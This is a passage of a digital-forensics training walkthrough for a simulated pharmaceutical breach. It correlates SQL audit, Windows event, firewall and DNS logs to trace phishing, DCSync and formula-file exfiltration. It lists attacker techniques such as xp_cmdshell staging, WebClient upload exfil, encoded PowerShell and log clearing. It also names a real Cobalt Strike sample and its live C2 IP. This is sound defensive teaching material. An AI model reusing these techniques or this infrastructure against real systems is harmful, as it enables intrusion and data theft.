DNS lookup at 00:10:14Z, flow starts at 00:14:14Z — 4-minute gap between resolution and transfer start. Consistent with manual operator staging the upload command.

Found IOCs

IP 198.51.100.44 — Exfil destination; 381 MB upload, 99% upload ratio, 312s, single session
IP (internal) 10.10.2.15 — SERVER-RD-02; exfil source host
IP 203.0.113.87 — C2 server; 9 beacon sessions from 2 hosts, ~7.2-min interval
IP 185.220.101.52 — New; CFO phishing page host (globalcontracts-secure.net)
IP (internal) 10.10.2.20 — Lateral movement target; reached from CFO host on ports 135 + 49152 (RPC/WMI)
Domain telemetry-cdn-services.biz — C2 domain; queried by both 10.10.3.22 and 10.10.1.45
Domain sys-update-cdn.net — Exfil domain; resolves to 198.51.100.44; queried by 10.10.2.15
Domain mfa-lifetechpharma.com — AiTM phishing domain; resolves to 185.220.101.47
Indicator Beacon interval 432–452s (~7.2 min) — identical across both infected hosts; same implant config
Indicator Attacker recon: 185.220.101.47 queried vpn.lifetechpharma.com 1 min before VPN login7. SQL Audit Log Analysis

7. SQL Audit Log Analysis

In VS Code Explorer: click sql-audit/SERVER-RD-02-sql-audit.jsonl

Each line is a JSON object. Use Ctrl+F to navigate directly to key events:

Search termJumps to

xp_cmdshellShell execution events
AuditLogAdversary OPSEC recon
(SELECT) and anti-forensics (DELETE)
UploadFileThe exfiltration command
Compress-ArchiveThe staging command

Full chain in the terminal:

jq -r '[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv' \
  sql-audit/SERVER-RD-02-sql-audit.jsonl

Six events: enumerate → recon (SELECT AuditLog) → stage → exfil → cleanup → anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it ran.

Found IOCs

Account svc_backup — Lateral movement account; executed full xp_cmdshell chain
URL 198.51.100.44/recv — Exfil endpoint used by WebClient.UploadFile
File USPartner2024-formulas.zip — Staged archive; formula data compressed before exfil
Indicator xp_cmdshell (T1059.003) — SQL Server shell used as execution proxy
Indicator Anti-forensics — DELETE on SQL AuditLog at 00:15:22Z; blocked by prior Splunk ingestion

8. Windows Security Event Log Analysis

In VS Code Explorer: click windows-security/DC01-security.jsonl

Press Ctrl+F, search 4662 — jumps to the DCSync event. The analyst_note gives the human-readable summary in the file itself:

🔴 CRITICAL: DCSync — DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
from WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).

# All three DCSync events — domain, krbtgt, Administrator
jq 'select(.EventID == 4662) | {
  time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName
}' windows-security/DC01-security.jsonl

Output:

{"time": "2024-11-06T00:48:33Z", "subject": "svc_backup", "object": "DC=lifetechpharma,DC=local"}
{"time": "2024-11-06T00:48:44Z", "subject": "svc_backup", "object": "CN=krbtgt,CN=Users,DC=..."}
{"time": "2024-11-06T00:48:51Z", "subject": "svc_backup", "object": "CN=Administrator,CN=..."}

krbtgt and Administrator DCSync'd — golden ticket capability obtained. Full domain credential rotation required.

Click windows-security/SERVER-RD-02-security.jsonl:

Ctrl+F → 4663 — file access events. Ctrl+F → 5156 — network connection event.

jq 'select(.EventID == 4663) | .ObjectName' \
  windows-security/SERVER-RD-02-security.jsonl | jq -s 'length'
# → 47  (47 formula files accessed)
jq 'select(.EventID == 5156) | {
  time: .TimeCreated, process: (.Application | split("\\\\") | last),
  src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort
}' windows-security/SERVER-RD-02-security.jsonl
# → PowerShell → 198.51.100.44:443 at 00:14:14Z

Three independent sources — SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) — triangulate to the same 20-second window.

Found IOCs

Account svc_backup — DCSync actor; source IP 10.10.3.22 (non-DC workstation)
IP (internal) 10.10.3.22 — WS-IT-LEVI; attacker pivot host issuing DCSync from workstation
Object krbtgt — DCSync'd at 00:48:44Z; golden ticket capability obtained
Object Administrator — DCSync'd at 00:48:51Z; full domain compromise
IP 198.51.100.44:443 — Exfil connection via PowerShell; EID 5156 at 00:14:14Z
Count 47 formula files — Accessed via EID 4663 in USPartner2024 share

9. Cross-File Pivot — VS Code Global Search

VS Code’s Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds — no SIEM needed for these basic pivots.

Pivot on the exfil IP:

Ctrl+Shift+F → 198.51.100.44:

ngfw-flows.csv           line 12: ...10.10.2.15,198.51.100.44,443,...399481224...
dns-queries.csv          line 10: ...sys-update-cdn.net,A,198.51.100.44...
sql-audit.jsonl          line 4:  ...WebClient.UploadFile...198.51.100.44/recv...
SERVER-RD-02-security    line 23: ..."DestAddress":"198.51.100.44"...

Four files, four hits, one IP. The full exfiltration chain is visible in one search.

Pivot on the compromised account:

Ctrl+Shift+F → svc_backup:

DC01-security.jsonl       lines 7-9:   DCSync events
SERVER-RD-02-security     lines 1-12:  SMB logon + file access + exfil
sql-audit.jsonl           all 6 lines: full xp_cmdshell chain

Pivot on the C2 domain:

Ctrl+Shift+F → telemetry-cdn-services.biz:

dns-queries.csv           lines 12-23: 11 beacon queries (6 from WS-IT-LEVI, 4 from WS-CFO-01, 1 missing)

Pivot on the attacker source IP (AiTM phishing + VPN access):

Ctrl+Shift+F → 185.220.101.47:

azure-ad/signin-p.levi.json          line 18: suspicious sign-in from Istanbul — token replay, no MFA
vpn/anyconnect-2024-10-24.log        line 4:  VPN authentication as p.levi, assigned 10.10.3.22
palo-alto/dns-queries.csv            line 1:  attacker queried vpn.lifetechpharma.com 1 min before login

One IP ties together AiTM credential theft, VPN infiltration, and the recon that preceded it.

The full attack chain — AiTM phishing → VPN access → formula exfiltration → DCSync → CFO infection — is navigable via these four global searches without opening a SIEM:

Search termAttack phase covered185.220.101.47Initial access: AiTM phishing, VPN infiltration, attacker recontelemetry-cdn-services.bizPersistence: C2 beaconing from both infected hostssvc_backupLateral movement: SMB, xp_cmdshell chain, DCSync198.51.100.44Exfiltration: NGFW flow, DNS lookup, SQL upload command, EID 5156

Found IOCs

IP 198.51.100.44 — Confirmed in 4 files: ngfw-flows, dns-queries, sql-audit, SERVER-RD-02-security
Account svc_backup — Confirmed in 3 files: DC01-security (DCSync), SERVER-RD-02-security (SMB+exfil), sql-audit (xp_cmdshell)
Domain telemetry-cdn-services.biz — Confirmed in dns-queries (9 beacons) and VPN log (C2 during session)
Timestamp 00:13:54Z – 00:14:14Z — 20-second exfil window triangulated across SQL, NGFW, and EID 5156

10. IOC Enrichment — REST Client

Create one .http file that holds every API call. VS Code's REST Client extension puts a Send Request link above each block — click it, the response appears in a split pane on the right. No curl, no terminal, no context switch.

Create the file:

Press Ctrl+N, then Ctrl+Shift+P → Save As → 03-analysis/ioc-queries.http

Paste the following:

### IOC Enrichment — PROJ-2024-001
### Click "Send Request" above any block — response opens in the right pane
### Set keys in VS Code Settings > REST Client > Environment Variables
### or use system env: @VT_KEY = {{$env VT_API_KEY}}

@VT_KEY     = your_virustotal_api_key_here
@SHODAN_KEY = your_shodan_api_key_here

# ── VirusTotal ──────────────────────────────────────────────────────

### VT — Primary C2 IP
GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87
x-apikey: {{VT_KEY}}

###

### VT — Secondary C2 / exfil IP
GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44
x-apikey: {{VT_KEY}}

###

### VT — Attacker VPN source
GET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47
x-apikey: {{VT_KEY}}

###

### VT — Primary C2 domain
GET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.biz
x-apikey: {{VT_KEY}}

###

### VT — AiTM phishing page domain
GET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.com
x-apikey: {{VT_KEY}}

###

### VT — CFO phishing delivery domain
GET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.net
x-apikey: {{VT_KEY}}

###

### VT — svchost32.exe binary hash
GET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e
x-apikey: {{VT_KEY}}

###

### VT — Imphash pivot (find related samples compiled from same source)
GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d
x-apikey: {{VT_KEY}}

# ── Shodan ──────────────────────────────────────────────────────────

### Shodan — Primary C2 IP (ports, services, hosting org)
GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}

###

### Shodan — Exfil IP
GET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}

# ── Certificate Transparency ─────────────────────────────────────────

### crt.sh — Find all domains using certs issued to primary C2 IP
GET https://crt.sh/?q=203.0.113.87&output=json

###

### crt.sh — Cert history for primary C2 domain
GET https://crt.sh/?q=telemetry-cdn-services.biz&output=json

# ── RDAP ────────────────────────────────────────────────────────────

### RDAP — AiTM phishing domain registration date
GET https://rdap.org/domain/mfa-lifetechpharma.com

###

### RDAP — CFO phishing delivery domain
GET https://rdap.org/domain/globalcontracts-secure.net

# ── Passive DNS (no key required) ───────────────────────────────────

### VT Passive DNS — historical resolutions for primary C2 IP (uses existing VT key)
GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87/resolutions
x-apikey: {{VT_KEY}}

###

### VT Passive DNS — historical resolutions for exfil IP
GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44/resolutions
x-apikey: {{VT_KEY}}

###

### RIPEstat — DNS history for primary C2 IP (no key, no rate limit for training)
GET https://stat.ripe.net/data/dns-history/data.json?resource=203.0.113.87

###

### RIPEstat — BGP routing info: ASN, prefix, country for C2 IP
GET https://stat.ripe.net/data/prefix-overview/data.json?resource=203.0.113.87

###

### RIPEstat — BGP routing info for exfil IP
GET https://stat.ripe.net/data/prefix-overview/data.json?resource=198.51.100.44

# ── WHOIS / RDAP (no key required) ──────────────────────────────────

### ARIN RDAP — IP block owner, ASN, abuse contact for C2 IP
GET https://rdap.arin.net/registry/ip/203.0.113.87

###

### ARIN RDAP — IP block owner for exfil IP
GET https://rdap.arin.net/registry/ip/198.51.100.44

###

### ARIN RDAP — IP block owner for attacker VPN source
GET https://rdap.arin.net/registry/ip/185.220.101.47

###

### RDAP — C2 domain registration: registrar, date, registrant
GET https://rdap.org/domain/telemetry-cdn-services.biz

###

### RDAP — Exfil domain registration
GET https://rdap.org/domain/sys-update-cdn.net

Using the response pane:

After clicking Send Request on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to find:

malicious → "malicious": 12
tags → ["C2", "malware"]
as_owner → "Hostwinds LLC"

For the crt.sh response, Ctrl+F → name_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear — new IOCs not yet seen in the org's DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.

Commit the .http file — it is a reproducible audit trail of every enrichment query:

git add 03-analysis/ioc-queries.http
git commit -m "PROJ-2024-001: IOC enrichment queries — VT, Shodan, crt.sh, RDAP"

Found IOCs

IP 203.0.113.87 — Primary C2; VT: 12 malicious detections, ASN: Hostwinds LLC
IP 198.51.100.44 — Secondary C2 / exfil endpoint
IP 185.220.101.47 — Attacker VPN source
Domain telemetry-cdn-services.biz — Primary C2 domain
Domain mfa-lifetechpharma.com — AiTM phishing domain; registered 2024-10-18
Domain globalcontracts-secure.net — CFO phishing delivery domain
Domain cdn-telemetry-update.biz — New; discovered via crt.sh pivot on C2 IP
Domain windows-cdn-service.net — New; discovered via crt.sh pivot on C2 IP
Hash (SHA256) 3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e — svchost32.exe dropper
Hash (imphash) 3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d — Pivot on VT to find related samples

11. Sandbox Analysis — Submit the Binary

Real Cobalt Strike sample used in Steps 11–12 All IPs, domains, and hashes elsewhere in this walkthrough are synthetic — invented for training and not queryable on threat intel platforms. Steps 11 and 12 are the exception: they use a real Cobalt Strike beacon (trojan.remusstealer/cobalt, 48/75 detections on VirusTotal, SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9) so you can practice sandbox submission and binary analysis against a file with genuine behavior. The C2 IP, HTTP profile, and PE metadata in these two steps reflect the real sample. All other scenario values (log IPs, exfil IPs, domains) remain fictional.

Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training — it is interactive and lets you watch execution in real time.

Submission (ANY.RUN):

Navigate to app.any.run → New Task → Upload
Upload svchost32.exe (SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9)
Environment: Windows 10 x64, User mode (realistic CFO context)
Network mode: Real with IDS — this beacon makes live HTTPS connections
Timeout: 120 seconds — beacon contacts C2 within the first minute
Click Run

Download the report to VS Code:

After execution completes, click Export → JSON in ANY.RUN. Save it as:

03-analysis/sandbox-svchost32-anyrun.json

Open in VS Code: press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to search:

Search term What you find
destination_ip91.211.251.245 — real C2 IP, port 443
urlhttps://91.211.251.245/ga.js — Malleable C2 profile mimicking Google AnalyticsCookieBase64-encoded beacon metadata in the HTTP Cookie header
User-AgentMozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS UA string
ProxyServerBeacon installs proxy settings pointing to C2
long-sleepsVT tag — beacon sleeps between check-ins (configurable interval)

The Cobalt Strike Malleable C2 profile: the beacon GETs /ga.js — a path that mimics Google Analytics JavaScript. The Cookie header carries AES-encrypted metadata (victim hostname, PID, username) base64-encoded. The response body delivers shellcode or tasks. A defender looking only at the URL sees legitimate-looking traffic; the anomaly is the 443 connection to a non-Google IP.

Add the C2 IP to ioc-queries.http and click Send Request on the VT and Shodan blocks to pivot immediately.

Found IOCs

Hash (SHA256) 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon; 48/75 VT detections
Hash (MD5) cd59d54a7af500f96aa0347bb5daf077 — same sample
IP 91.211.251.245:443 — real C2 server; HTTPS; confirmed in sandbox network traffic
URL https://91.211.251.245/ga.js — Malleable C2 endpoint; mimics Google Analytics
Indicator Cookie-encoded beacon — AES-encrypted victim metadata in HTTP Cookie header
Indicator long-sleeps — beacon interval; time between C2 check-ins

12. Static Binary Analysis — Hex Editor + Terminal

Open the binary in VS Code Hex Editor:

In VS Code Explorer, right-click svchost32.exe → Open With → Hex Editor

The file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual — scroll through it and strings like /ga.js and Mozilla/4.0 are readable directly without running strings.

Navigate to the PE timestamp:

Press Ctrl+G → type 3C → Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value, convert to decimal — that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.

For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the right:

python3 -c "
import pefile, datetime, os
pe = pefile.PE('svchost32.exe')
ts = pe.FILE_HEADER.TimeDateStamp
print(f'Compile timestamp : {datetime.datetime.fromtimestamp(ts, datetime.UTC)} UTC')
print(f'File size on disk : {os.path.getsize(\"svchost32.exe\"):,} bytes')
print(f'PE SizeOfImage    : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes')
overlay = os.path.getsize('svchost32.exe') - pe.OPTIONAL_HEADER.SizeOfImage
if overlay > 0:
    print(f'Overlay detected  : {overlay:,} bytes after PE end')
print(f'Architecture      : {\"x64\" if pe.FILE_HEADER.Machine == 0x8664 else \"x86\"}')
"

Output:

Compile timestamp : 2026-05-15 13:55:55 UTC
File size on disk : 783,320 bytes
Overlay detected  : present
Architecture      : x64

The PE timestamp (2026-05-15) is plausible and recent — this binary was freshly compiled, not timestomped. The presence of an overlay (data appended after the PE image end) is a Cobalt Strike loader signature: the encrypted beacon shellcode is stored in the overlay and unpacked at runtime.

Extract C2 strings:

strings -n 8 svchost32.exe | grep -E "(https?://|/ga\.js|Mozilla|Cookie|User-Agent|Cache-Control)"

Output includes:

/ga.js
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)
Cache-Control: no-cache

The /ga.js path and the MSIE 8.0 User-Agent are configuration strings baked into the Cobalt Strike beacon's Malleable C2 profile at compile time. Any sample sharing these exact strings was built from the same profile.

Check imports — Cobalt Strike loaders minimise their import table:

python3 -c "
import pefile
pe = pefile.PE('svchost32.exe')
print(f'Architecture: {hex(pe.FILE_HEADER.Machine)}')
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
    for lib in pe.DIRECTORY_ENTRY_IMPORT:
        fns = [i.name.decode() if i.name else f'ord_{i.ordinal}' for i in lib.imports]
        print(f'{lib.dll.decode()}: {fns}')
else:
    print('No standard import table — uses dynamic API resolution (common in CS loaders)')
"

A Cobalt Strike loader typically has a minimal or absent import table — it resolves APIs at runtime using LoadLibrary/GetProcAddress or custom hash-walking to avoid static analysis. If the import table is empty, that itself is the finding.

Pivot on the Malleable C2 profile strings — search VT for other samples using the same profile:

Add to ioc-queries.http:

### VT — search for samples sharing the same Malleable C2 User-Agent string
GET https://www.virustotal.com/api/v3/intelligence/search?query=content%3A%22MSIE+8.0%22+content%3A%22%2Fga.js%22+type%3Apeexe
x-apikey: {{VT_KEY}}

Found IOCs

Hash (SHA256) 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon
Hash (MD5) cd59d54a7af500f96aa0347bb5daf077
IP 91.211.251.245 — C2 server; confirmed in binary strings and sandbox network traffic
URL pattern /ga.js — Malleable C2 endpoint; Google Analytics impersonation
String Mozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS User-Agent; pivot on VT content search
Indicator Overlay section — encrypted shellcode stored after PE image end; Cobalt Strike loader signature
Indicator Minimal import table — dynamic API resolution; evades import-based static detection13. Infrastructure Pivot — REST Client + Global Search

13. Infrastructure Pivot — REST Client + Global Search

The ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through them.

For the crt.sh response: press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.

Immediately pivot in VS Code global search:

Press Ctrl+Shift+F, type cdn-telemetry-update:

palo-alto/dns-queries.csv  →  (no results)

Not in the org’s DNS logs — but add both new domains to the IOC list in case they appear in a broader hunt.

For the RDAP response (AiTM domain): Ctrl+F → registration → date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.

Found IOCs

Domain cdn-telemetry-update.biz — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs
Domain windows-cdn-service.net — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs
Date 2024-10-18 — Registration date of mfa-lifetechpharma.com; 4 days before phishing

14. Splunk Correlation (SIEM Validation)

Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:

/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \
  -sourcetype sysmon_json -index endpoint -host WS-CFO-01
/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \
  -sourcetype wineventlog -index wineventlog -host DC01
/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \
  -sourcetype wineventlog -index wineventlog -host SERVER-RD-02
/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \
  -sourcetype pan:traffic -index firewall -host pa-3260
/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \
  -sourcetype pan:dns -index firewall -host pa-3260
/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \
  -sourcetype mssql_audit -index database -host SERVER-RD-02

Query 1 — triage: C2 IPs across all indexes:

index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d
| stats count by host, sourcetype, index
| sort -count

Query 2 — DCSync from non-DC (DET-002 validation):

index=wineventlog EventCode=4662
  ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}"
| where NOT match(IpAddress, "^10\.10\.1\.(10|11)$")
| table _time, host, SubjectUserName, IpAddress, ObjectName, Properties

Query 3 — service account off-hours (DET-003 validation):

index=wineventlog EventCode=4624 LogonType=3
  TargetUserName=svc_backup
| eval hour=strftime(_time, "%H")
| where hour < 6 OR hour > 22
| table _time, host, TargetUserName, IpAddress | sort _time

Query 4 — exfil scope:

index=wineventlog EventCode=4663 ObjectName="*USPartner2024*"
| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, host

Query 5 — full 24-day timeline:

index=* earliest=2024-10-22 latest=2024-11-16
  (host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)
| eval summary=coalesce(Message, Statement, query, CommandLine, "event")
| table _time, host, sourcetype, summary | sort _time

Found IOCs

IP 203.0.113.87 — SIEM-validated; C2 traffic confirmed across endpoint and network indexes
IP 198.51.100.44 — SIEM-validated; exfil traffic confirmed across endpoint and network indexes
Account svc_backup — DET-002: DCSync from 10.10.3.22 (non-DC); DET-003: off-hours logon
File pattern USPartner2024* (47 files) — DET-004: bulk access by svc_backup on SERVER-RD-02
Indicator Off-hours logon — EID 4624 / LogonType 3 outside 06:00–22:00 window

Commit all analysis artifacts

git add 03-analysis/
git commit -m "PROJ-2024-001: evidence analysis — VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources"

The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.

Step R2: Timeline — Two Paths, One Actor

1. Open the timeline file

nano 03-analysis/timeline/timeline.md

The template has a header block and a markdown table. Fill the header first:

Project: PROJ-2024-001
Analyst: [your name]
Last updated: 2024-11-15
Time range: 2024-10-18 – 2024-11-15
Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAP

Then add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&CK technique. If you do not have a technique yet, leave it blank and come back — do not skip the label.

2. Add events in chronological order

The timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.

2024–10–18 — External
lifetechpharma-corp[.]eu registered as a typosquat domain.
Source: OSINT
Label: CONFIRMED
ATT&CK: T1583.001
Notes: Pre-attack infrastructure preparation.
2024–10–22 11:23 — Exchange
Phishing email sent to p.levi: “MFA Re-enrollment Required” with AiTM HTML attachment.
Source: M365 ATP
Label: CONFIRMED
ATT&CK: T1566.001
Notes: ATP SCL=4, delivered; threshold was 5.
2024–10–22 11:31 — WS-IT-LEVI
Unknown activity — GAP-001 begins.
Source: —
Label: GAP
ATT&CK: —
Notes: Sysmon forwarder stopped.
2024–10–24 02:17 — Azure AD + VPNVPN login as p.levi from Istanbul, Turkey, using hosting/VPS ASN. No MFA challenge recorded. Session lasted 1h 12min.
Source: Azure AD sign-in
Label: CONFIRMED
ATT&CK: T1557, T1133
Notes: 4:17 AM local time; Paz Levi lives in Rehovot.
2024–10–24 02:19 — DC01
EID 4624: network logon for svc_backup from WS-IT-LEVI / 10.10.3.22. Service account used outside business hours.
Source: Windows Security / Splunk
Label: CONFIRMED
ATT&CK: T1078.002
Notes: svc_backup has Domain Admin rights.
2024–10–25 03:41 — SERVER-FIN-01
svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\.
Source: File share audit, partial
Label: CORROBORATED
ATT&CK: T1039
Notes: Log incomplete — access timestamp only, not filenames.
2024–11–01 09:14 — WS-IT-LEVI
GAP-001 ends. First DNS query to telemetry-cdn-services[.]biz resolving to 203.0.113.87. First C2 beacon from this host.
Source: Palo Alto DNS
Label: CONFIRMED
ATT&CK: T1071.001
Notes: Sysmon service and forwarder restarted at the same time — probable anti-forensics.
2024–11–01 09:18 — SERVER-RD-02
EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVI.
Source: Windows Security
Label: CONFIRMED
ATT&CK: T1021.002
Notes: Occurred four minutes after C2 reconnection.
2024–11–06 02:09 — SERVER-RD-02
EID 4624: svc_backup SMB logon from WS-IT-LEVI.
Source: Windows Security
Label: CONFIRMED
ATT&CK: T1021.002
Notes: Off-hours access.
2024–11–06 02:10–02:14 — SERVER-RD-02
EID 4663 ×47: svc_backup accessed all 47 files in \\USPartner2024\\. Read activity occurred and modified timestamps were updated.
Source: Windows Security
Label: CONFIRMED
ATT&CK: T1039
Notes: Each file was individually accessed; timestamp modification suggests deliberate metadata manipulation.
2024–11–06 02:14 — SERVER-RD-02
EID 5156: outbound HTTPS from SERVER-RD-02 to external IP over port 443 during the file access window.
Source: Windows Security + firewall
Label: CONFIRMED
ATT&CK: T1041
Notes: Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44; separate C2 from primary.
2024–11–06 02:48 — DC01
EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01.
Source: Windows Security
Label: CONFIRMED
ATT&CK: T1003.006
Notes: DCSync indicator. Pentest scope did not include DCSync. Pentest VLAN is 10.10.99.0/24; this event came from 10.10.3.22.
2024–11–15 17:58 — Exchange
Phishing email sent to m.cohen, the CFO: “Q4-2024 Licensing Agreement” with .xlsm attachment. SPF, DKIM, and DMARC all failed.
Source: M365 Message Trace
Label: CONFIRMED
ATT&CK: T1566.001
Notes: Second entry point — 24 days after the first.
2024–11–15 18:42 — WS-CFO-01
Outlook spawned PowerShell with -NonI -W Hidden -Enc, downloading a second-stage payload from 203.0.113.87.
Source: CrowdStrike + Sysmon EID 1
Label: CONFIRMED
ATT&CK: T1059.001
Notes: Triggering alert.
2024–11–15 18:46–20:52 — WS-CFO-01
LSASS memory access observed via Sysmon EID 10 with GrantedAccess 0x1010. Persistence added via Registry Run Key and scheduled task. BITS downloaded a second-stage binary.
Source: Sysmon EID 10/11/13, EID 4698
Label: CONFIRMED
ATT&CK: T1003.001, T1547.001, T1053.005, T1197
Notes: svchost32.exe dropped to AppData\\Roaming.
2024–11–15 20:52 — SERVER-FIN-01
WMI lateral movement observed: WmiPrvSE spawned PowerShell with -Enc and a different base64 payload.
Source: CrowdStrike
Label: CONFIRMED
ATT&CK: T1021.003, T1059.001
Notes: svc_finreport credentials used.
2024–11–15 21:01 — SERVER-FIN-01
Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\.
Source: CrowdStrike EID 11
Label: CONFIRMED
ATT&CK: T1039, T1560
Notes: 2.8 MB upload confirmed in firewall logs at 21:14.
2024–11–15 21:14 — WS-CFO-01
wevtutil.exe cl Security executed, partially clearing the Windows Security log.
Source: CrowdStrike
Label: CONFIRMED
ATT&CK: T1070.001
Notes: Sysmon log remained intact because it was protected.

The evidence label system matters here. Event 12 (DCSync) is CONFIRMED — it exists in DC01’s Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as “possible pentest activity.” Event 6 (finance server access) is CORROBORATED — single source with incomplete log — and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated fact.

3. Save and commit

git add 03-analysis/timeline/timeline.md
git commit -m "PROJ-2024-001: timeline — 18 events Oct 18–Nov 15, dual-path confirmed, GAP-001 bounds established"

Step R3: Claims Ledger — Every Assertion Traced to Evidence

1. Open the claims ledger

nano 03-analysis/claims/claims-ledger.md

The template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline — then fill each one completely before moving to the next.

For each row, answer these five questions before typing a word:

What is the exact assertion? (One sentence, falsifiable — could in principle be proven false)
Which file and line number is the evidence in? (Not “we saw in Splunk” — the actual log reference)
What confidence level and why? (High / Medium / Low / Insufficient — with explicit rationale)
What alternative explanations were considered — and why were they ruled out or left open?
Which PIR does this answer?

If you cannot answer question 4, the claim is not ready to write. Think first.

2. Fill in one claim per confirmed technique or PIR answer

The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR.

CL-001 — Initial access via AiTM phishing against IT admin p.levi

Claim: Initial access was via AiTM phishing against IT admin p.levi on October 22, 2024.
Evidence: M365 ATP log shows AiTM HTML lure delivered at 11:23 and opened at 11:31. VPN login from Istanbul occurred at 02:17 on October 24 with no MFA challenge, indicating likely stolen session token replay.
Confidence: High
Competing Hypotheses: Credential purchase or insider activity cannot be fully ruled out without WS-IT-LEVI disk forensics, which is blocked by legal hold. However, the AiTM lure plus token replay pattern is more parsimonious.
PIR: PIR-002

CL-002 — Use of svc_backup Domain Admin credentials to access formula files

Claim: The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula files.
Evidence: EID 4624 on SERVER-RD-02 shows svc_backup Type 3 logon from WS-IT-LEVI. EID 4663 occurred 47 times on formula files.
Confidence: High
Competing Hypotheses: Legitimate backup operation is ruled out because backup jobs run from SERVER-WSUS-01 / 10.10.4.x, not from WS-IT-LEVI. The timestamp, 02:09 UTC, is outside the maintenance window.
PIR: PIR-002

CL-003 — Exfiltration of 47 formula files on November 6, 2024

Claim: The 47 formula files in USPartner2024 were exfiltrated on November 6, 2024.
Evidence: EID 4663 occurred 47 times, showing file access. EID 5156 shows outbound HTTPS from SERVER-RD-02 at the same time. Palo Alto NGFW flow shows 10.10.2.15 → 198.51.100.44:443, with 381 MB outbound between 02:14 and 02:19 UTC.
Confidence: High
Competing Hypotheses: File access for indexing or backup is ruled out because no backup job ran at this time. The 381 MB outbound volume matches the compressed formula package. The destination IP is not in the allowlist and resolves to a VPS hosting provider.
PIR: PIR-001 — ANSWERED: YES

